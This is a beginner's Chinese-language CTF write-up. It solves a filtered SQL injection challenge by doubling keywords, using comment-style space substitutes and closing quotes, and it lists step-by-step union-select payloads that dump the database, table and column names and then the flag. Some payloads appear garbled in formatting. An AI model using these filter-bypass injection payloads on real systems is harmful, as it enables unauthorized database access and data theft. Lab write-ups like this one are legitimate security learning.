这次来写了一个wp,我是小白希望大神们可以指点,因为自己是一个人搞sql,有人指点能够少走很多弯路。
先看这一题,我刚进来居然还来了个乱码,不管了开始,看到这题目,命令注入得到flag,就想这一题无非就是绕过过滤,进行爆库爆数据得到flag
输入1,2,3以后,得到一些表名,这时就在猜想后台sql查询语句为:select name where id =xxxxx;
-
先判断注入点
先用1 and 1=1 发现and被过滤了 这里采用andand双写绕过
1 andand 1=1 1 andand 1=2 发现不是数字型注入
再用 1’andand 1=1–+ ;# 发现注释(–+,#)都被过滤了 这里采用1’ andand ‘1’=’1进行注释
得到这个应该是‘字符型注入(这里我有点不大明白,但是这样注入可以爆出来,所以也就是将错就错了,希望有大神可以给我指点一下子,而且此时的order by我实验也没成功,索性直接爆) -
暴库,表(建议也可以先查库再查表)
这里先不要闭合前面的‘,先直接输入查询语句,看看这个sql后台究竟过滤了哪些
1 union select group_concat(table_name) from information_schema .tables where table_schema =database()–+
发现注释–+,#什么的都被过滤了,可以考虑利用andand’1’=’1进行闭合后面的’号;发现有空格过滤,这里可以选择双写绕过和/**/(注释空格)进行绕过,发现group_concat;information_schema;table_schema都需要进行双写绕过
构造得:
1’//union//select//group_concagroup_concatt(table_name)//from//information_schema.tables//where//tabltable_schemae_schema//=database() andand ‘1’='1
得到表balotali,flag,web_1表,只有flag表对我们有用
我发现直接出表太利索了,得不到数据库,所以还是一步一步来把 !
-
爆库
1’ union select database()’
发现都被过滤了
构造得1’//union//select/**/database()’
得到数据库:web1(有用) -
爆表
和上述一样先进行正常的sql语句
1 union select group_concat(table_name) from information_schema.tables where table_schema=’web1’
得到的还是被过滤的信息
根据//注释空格还用双写group等函数进行绕过
1’//union//select//group_concagroup_concatt(table_name)//from//information_schema.tables//where//table_schemtable_schemaa='web1
得到flag和web_1表,可知flag对我们有用进行查列 -
查列
1’ union select column_name from information_schema.columns where table_name=’flag’
构造得:
1’//union//select//column_namcolumn_namee//from//information_scheminformation_schema.columnsa.columns//where/**/table_name=‘flag’ andand ‘1’='1(这里可以用andand ‘1’=’1进行闭合)
得到列名为:flag对我们有用 -
查数据
直接构造得:1’//union//select//flag//from//flag//where/**/‘1’='1
得到flag
总之,这道题考的还是很有意思的,刚开始做的时候,自己构造语句很多都构造错,返回报错,看报错信息一脸懵,双写绕过很常见,重点就是过滤掉了注释和空格过滤,需要利用/注释/绕过空格,也可以利用括号,考这一点让我学到了,很实用,所以自己想写一个wp,充实一下自己,我自己写的估计有很多地方不对,希望帮忙指点一下子。